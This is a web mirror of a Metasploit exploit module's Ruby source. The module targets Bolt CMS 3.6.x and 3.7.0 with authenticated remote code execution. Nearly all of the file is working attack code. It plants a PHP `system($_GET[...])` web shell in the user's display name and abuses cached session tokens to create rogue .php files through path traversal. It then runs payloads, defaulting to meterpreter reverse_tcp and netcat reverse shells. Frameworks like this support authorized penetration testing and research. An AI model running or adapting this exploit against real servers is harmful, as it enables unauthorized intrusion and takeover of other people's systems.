Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/bolt_authenticated_rce.rb
28859 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = GreatRanking
9
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::CmdStager
12
prepend Msf::Exploit::Remote::AutoCheck
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Bolt CMS 3.7.0 - Authenticated Remote Code Execution',
19
'Description' => %q{
20
This module exploits multiple vulnerabilities in Bolt CMS version 3.7.0
21
and 3.6.* in order to execute arbitrary commands as the user running Bolt.
22
23
This module first takes advantage of a vulnerability that allows an
24
authenticated user to change the username in /bolt/profile to a PHP
25
`system($_GET[""])` variable. Next, the module obtains a list of tokens
26
from `/async/browse/cache/.sessions` and uses these to create files with
27
the blacklisted `.php` extention via HTTP POST requests to
28
`/async/folder/rename`. For each created file, the module checks the HTTP
29
response for evidence that the file can be used to execute arbitrary
30
commands via the created PHP $_GET variable. If the response is negative,
31
the file is deleted, otherwise the payload is executed via an HTTP
32
get request in this format: `/files/<rogue_PHP_file>?<$_GET_var>=<payload>`
33
34
Valid credentials for a Bolt CMS user are required. This module has been
35
successfully tested against Bolt CMS 3.7.0 running on CentOS 7.
36
},
37
'License' => MSF_LICENSE,
38
'Author' => [
39
'Sivanesh Ashok', # Discovery
40
'r3m0t3nu11', # PoC
41
'Erik Wynter' # @wyntererik - Metasploit
42
],
43
'References' => [
44
['CVE', '2025-34086'],
45
['EDB', '48296'],
46
['URL', 'https://github.com/bolt/bolt/releases/tag/3.7.1'] # Bolt CMS 3.7.1 release info mentioning this issue and the discovery by Sivanesh Ashok
47
],
48
'Targets' => [
49
[
50
'Linux (x86)', {
51
'Arch' => ARCH_X86,
52
'Platform' => 'linux',
53
'DefaultOptions' => {
54
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
55
}
56
}
57
],
58
[
59
'Linux (x64)', {
60
'Arch' => ARCH_X64,
61
'Platform' => 'linux',
62
'DefaultOptions' => {
63
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
64
}
65
}
66
],
67
[
68
'Linux (cmd)', {
69
'Arch' => ARCH_CMD,
70
'Platform' => 'unix',
71
'DefaultOptions' => {
72
'PAYLOAD' => 'cmd/unix/reverse_netcat'
73
}
74
}
75
]
76
],
77
'Privileged' => false,
78
'DisclosureDate' => '2020-05-07', # this the date a patch was released, since the disclosure data is not known at this time
79
'DefaultOptions' => {
80
'RPORT' => 8000,
81
'WfsDelay' => 5
82
},
83
'DefaultTarget' => 2,
84
'Notes' => {
85
'NOCVE' => ['0day'],
86
'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service
87
'Reliability' => [REPEATABLE_SESSION],
88
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
89
}
90
)
91
)
92
93
register_options [
94
OptString.new('TARGETURI', [true, 'Base path to Bolt CMS', '/']),
95
OptString.new('USERNAME', [true, 'Username to authenticate with', false]),
96
OptString.new('PASSWORD', [true, 'Password to authenticate with', false]),
97
OptString.new('FILE_TRAVERSAL_PATH', [true, 'Traversal path from "/files" on the web server to "/root" on the server', '../../../public/files'])
98
]
99
end
100
101
def check
102
# obtain token and cookie required for login
103
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
104
105
return CheckCode::Unknown('Connection failed') unless res
106
107
unless res.code == 200 && res.body.include?('Sign in to Bolt')
108
return CheckCode::Safe('Target is not a Bolt CMS application.')
109
end
110
111
html = res.get_html_document
112
token = html.at('input[@id="user_login__token"]')['value']
113
cookie = res.get_cookies
114
115
# perform login
116
res = send_request_cgi({
117
'method' => 'POST',
118
'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),
119
'cookie' => cookie,
120
'vars_post' => {
121
'user_login[username]' => datastore['USERNAME'],
122
'user_login[password]' => datastore['PASSWORD'],
123
'user_login[login]' => '',
124
'user_login[_token]' => token
125
}
126
})
127
128
return CheckCode::Unknown('Connection failed') unless res
129
130
unless res.code == 302 && res.body.include?('Redirecting to /bolt')
131
return CheckCode::Unknown('Failed to authenticate to the server.')
132
end
133
134
@cookie = res.get_cookies
135
return unless @cookie
136
137
# visit profile page to obtain user_profile token and user email
138
res = send_request_cgi({
139
'method' => 'GET',
140
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
141
'cookie' => @cookie
142
})
143
144
return CheckCode::Unknown('Connection failed') unless res
145
146
unless res.code == 200 && res.body.include?('<title>Profile')
147
return CheckCode::Unknown('Failed to authenticate to the server.')
148
end
149
150
html = res.get_html_document
151
152
@email = html.at('input[@type="email"]')['value'] # this is used later to revert all changes to the user profile
153
unless @email # create fake email if this value is not found
154
@email = Rex::Text.rand_text_alpha_lower(5..8)
155
@email << "@#{@email}."
156
@email << Rex::Text.rand_text_alpha_lower(2..3)
157
print_error("Failed to obtain user email. Using #{@email} instead. This will be visible on the user profile.")
158
end
159
160
@profile_token = html.at('input[@id="user_profile__token"]')['value'] # this is needed to rename the user (below)
161
162
if !@profile_token || @profile_token.to_s.empty?
163
return CheckCode::Unknown('Authentication failure.')
164
end
165
166
# change user profile to a php $_GET variable
167
@php_var_name = Rex::Text.rand_text_alpha_lower(4..6)
168
res = send_request_cgi({
169
'method' => 'POST',
170
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
171
'cookie' => @cookie,
172
'vars_post' => {
173
'user_profile[password][first]' => datastore['PASSWORD'],
174
'user_profile[password][second]' => datastore['PASSWORD'],
175
'user_profile[email]' => @email,
176
'user_profile[displayname]' => "<?php system($_GET['#{@php_var_name}']);?>",
177
'user_profile[save]' => '',
178
'user_profile[_token]' => @profile_token
179
}
180
})
181
182
return CheckCode::Unknown('Connection failed') unless res
183
184
# visit profile page again to verify the changes
185
res = send_request_cgi({
186
'method' => 'GET',
187
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
188
'cookie' => @cookie
189
})
190
191
return CheckCode::Unknown('Connection failed') unless res
192
193
unless res.code == 200 && res.body.include?("php system($_GET[&#039;#{@php_var_name}&#039")
194
return CheckCode::Unknown('Authentication failure.')
195
end
196
197
CheckCode::Vulnerable("Successfully changed the /bolt/profile username to PHP $_GET variable \"#{@php_var_name}\".")
198
end
199
200
def exploit
201
csrf
202
unless @csrf_token && !@csrf_token.empty?
203
fail_with Failure::NoAccess, 'Failed to obtain CSRF token'
204
end
205
vprint_status("Found CSRF token: #{@csrf_token}")
206
207
file_tokens = obtain_cache_tokens
208
unless file_tokens && !file_tokens.empty?
209
fail_with Failure::NoAccess, 'Failed to obtain tokens for creating .php files.'
210
end
211
print_status("Found #{file_tokens.length} potential token(s) for creating .php files.")
212
213
token_results = try_tokens(file_tokens)
214
unless token_results && !token_results.empty?
215
fail_with Failure::NoAccess, 'Failed to create a .php file that can be used for RCE. This may happen on occasion. You can try rerunning the module.'
216
end
217
218
valid_token = token_results[0]
219
@rogue_file = token_results[1]
220
221
print_good("Used token #{valid_token} to create #{@rogue_file}.")
222
if target.arch.first == ARCH_CMD
223
execute_command(payload.encoded)
224
else
225
execute_cmdstager
226
end
227
end
228
229
def csrf
230
# visit /bolt/overview/showcases to get csrf token
231
res = send_request_cgi({
232
'method' => 'GET',
233
'uri' => normalize_uri(target_uri.path, 'bolt', 'overview', 'showcases'),
234
'cookie' => @cookie
235
})
236
237
fail_with Failure::Unreachable, 'Connection failed' unless res
238
239
unless res.code == 200 && res.body.include?('Showcases')
240
fail_with Failure::NoAccess, 'Failed to obtain CSRF token'
241
end
242
243
html = res.get_html_document
244
@csrf_token = html.at('div[@class="buic-listing"]')['data-bolt_csrf_token']
245
end
246
247
def obtain_cache_tokens
248
# obtain tokens for creating rogue .php files from cache
249
res = send_request_cgi({
250
'method' => 'GET',
251
'uri' => normalize_uri(target_uri.path, 'async', 'browse', 'cache', '.sessions'),
252
'cookie' => @cookie
253
})
254
255
fail_with Failure::Unreachable, 'Connection failed' unless res
256
257
unless res.code == 200 && res.body.include?('entry disabled')
258
fail_with Failure::NoAccess, 'Failed to obtain file impersonation tokens'
259
end
260
261
html = res.get_html_document
262
entries = html.search('tr')
263
tokens = []
264
entries.each do |e|
265
token = e.at('span[@class="entry disabled"]').text.strip
266
size = e.at('div[@class="filesize"]')['title'].strip.split(' ')[0]
267
tokens.append(token) if size.to_i >= 2000
268
end
269
270
tokens
271
end
272
273
def try_tokens(file_tokens)
274
# create .php files and check if any of them can be used for RCE via the username $_GET variable
275
file_tokens.each do |token|
276
file_path = datastore['FILE_TRAVERSAL_PATH'].chomp('/') # remove trailing `/` in case present
277
file_name = Rex::Text.rand_text_alpha_lower(8..12)
278
file_name << '.php'
279
280
# use token to create rogue .php file by 'renaming' a file from cache
281
res = send_request_cgi({
282
'method' => 'POST',
283
'uri' => normalize_uri(target_uri.path, 'async', 'folder', 'rename'),
284
'cookie' => @cookie,
285
'vars_post' => {
286
'namespace' => 'root',
287
'parent' => '/app/cache/.sessions',
288
'oldname' => token,
289
'newname' => "#{file_path}/#{file_name}",
290
'token' => @csrf_token
291
}
292
})
293
294
fail_with Failure::Unreachable, 'Connection failed' unless res
295
296
next unless res.code == 200 && res.body.include?(file_name)
297
298
# check if .php file contains an empty `displayname` value. If so, cmd execution should work.
299
res = send_request_cgi({
300
'method' => 'GET',
301
'uri' => normalize_uri(target_uri.path, 'files', file_name),
302
'cookie' => @cookie
303
})
304
305
fail_with Failure::Unreachable, 'Connection failed' unless res
306
307
# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number
308
unless res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)
309
delete_file(file_name)
310
next
311
end
312
313
return token, file_name
314
end
315
316
nil
317
end
318
319
def execute_command(cmd, _opts = {})
320
if target.arch.first == ARCH_CMD
321
print_status("Attempting to execute the payload via \"/files/#{@rogue_file}?#{@php_var_name}=`payload`\"")
322
end
323
324
res = send_request_cgi({
325
'method' => 'GET',
326
'uri' => normalize_uri(target_uri.path, 'files', @rogue_file),
327
'cookie' => @cookie,
328
'vars_get' => { @php_var_name => "(#{cmd}) > /dev/null &" } # HACK: Don't block on stdout
329
}, 3.5)
330
331
# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number
332
unless res && res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)
333
print_warning('No response, may have executed a blocking payload!')
334
return
335
end
336
337
print_good('Payload executed!')
338
end
339
340
def cleanup
341
super
342
343
# delete rogue .php file used for execution (if present)
344
delete_file(@rogue_file) if @rogue_file
345
346
return unless @profile_token
347
348
# change user profile back to original
349
res = send_request_cgi({
350
'method' => 'POST',
351
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
352
'cookie' => @cookie,
353
'vars_post' => {
354
'user_profile[password][first]' => datastore['PASSWORD'],
355
'user_profile[password][second]' => datastore['PASSWORD'],
356
'user_profile[email]' => @email,
357
'user_profile[displayname]' => datastore['USERNAME'].to_s,
358
'user_profile[save]' => '',
359
'user_profile[_token]' => @profile_token
360
}
361
})
362
363
unless res
364
print_warning('Failed to revert user profile back to original state.')
365
return
366
end
367
368
# visit profile page again to verify the changes
369
res = send_request_cgi({
370
'method' => 'GET',
371
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
372
'cookie' => @cookie
373
})
374
375
unless res && res.code == 200 && res.body.include?(datastore['USERNAME'].to_s)
376
print_warning('Failed to revert user profile back to original state.')
377
end
378
379
print_good('Reverted user profile back to original state.')
380
end
381
382
def delete_file(file_name)
383
res = send_request_cgi({
384
'method' => 'POST',
385
'uri' => normalize_uri(target_uri.path, 'async', 'file', 'delete'),
386
'cookie' => @cookie,
387
'vars_post' => {
388
'namespace' => 'files',
389
'filename' => file_name,
390
'token' => @csrf_token
391
}
392
})
393
394
unless res && res.code == 200 && res.body.include?(file_name)
395
print_warning("Failed to delete file #{file_name}. Manual cleanup required.")
396
end
397
398
print_good("Deleted file #{file_name}.")
399
end
400
401
end
402
403